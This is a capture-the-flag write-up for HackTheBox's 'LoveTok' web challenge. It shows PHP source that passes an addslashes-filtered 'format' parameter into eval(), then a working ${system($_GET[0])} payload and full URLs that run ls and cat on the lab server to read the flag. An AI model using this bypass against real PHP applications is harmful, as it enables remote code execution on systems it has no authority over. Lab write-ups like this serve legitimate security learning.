LoveTok
LoveTok
Platform: HackTheBox | Category: Web | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
True love is tough, and even harder to find. Once the sun has set, the lights close and the bell has rung... you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin' (at your door). Come and check it out, but don't try to cheat love because love cheats back. 💛
Solution Approach
Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.
Steps
- Open the host given.
http://178.62.88.144:30462/
-
When i clicked
try again, new date & time displayed. -
Notice we have
formatparameter. -
Anyway let us
unzipthe zip file given. -
Jump to the extracted folder.
-
Since i don't want to exploit in local, so let us jump to the
challengedirectory to find the source code.
INDEX.PHP
<?php
date_default_timezone_set('UTC');
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
$router = new Router();
$router->new('GET', '/', 'TimeController@index');
$response = $router->match();
die($response);
- Based on the
index.phpfile, i Open thecontrollerdirectory. - Great we found the time controller source.
TIMECONTROLLER.PHP
<?php
class TimeController
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
- Based on it we know that the value of
formatparameter passed to the TimeModel class. - Now let us check the
TimeModel.phpfile in the models directory.
TIMEMODEL.PHP
<?php
class TimeModel
public function __construct($format)
{
$this->format = addslashes($format);
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
- Based on it, we know that the format parameter is sanitized by the
addslashes()function. - The
addslashes()function add a forward slash in front of these characters:
", ', \, NULL BYTE
- At the
getTime()function we realize that out input is executed inside theeval()function. eval()function is a vuln in php, because the attacker can utilize the func to do RCE to get the flag.- However, there's an
addslashes()func, so we can't add the quote and do a system call resulting in RCE. - So Researching how revealed to bypass the
addslashes()function.
THE LINK
https://www.programmersought.com/article/30723400042/
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html
- When i add
${system("ls")}as the format value, obviously it won't do anything. - Based on the article i read, we can utilize the GET parameter. Since
%_GETis a dictionary, the key can be a number, hence we can add the 2nd parameter to beanynumequal to cat, ls, etc. - So our shall look like this:
${system($_GET[0])}&0=ls
COMPLETE URL
http://178.62.88.144:30462/?format=${system($_GET[0])}&0=ls+--+/
-
Notice there's a flag file (?)
-
Let us cat the file.
${system($_GET[0])}&0=cat+/flagtERAM+--+/
COMPLETE URL
http://178.62.88.144:30462/?format=${system($_GET[0])}&0=cat+/flagtERAM+--+/
- Got the flag!
Flag
REDACTED
Lessons Learned
- Identify the weakness from source review or fingerprinting first.
- Iterate with incremental payloads instead of guessing.
- Reuse the same pattern in future engagements.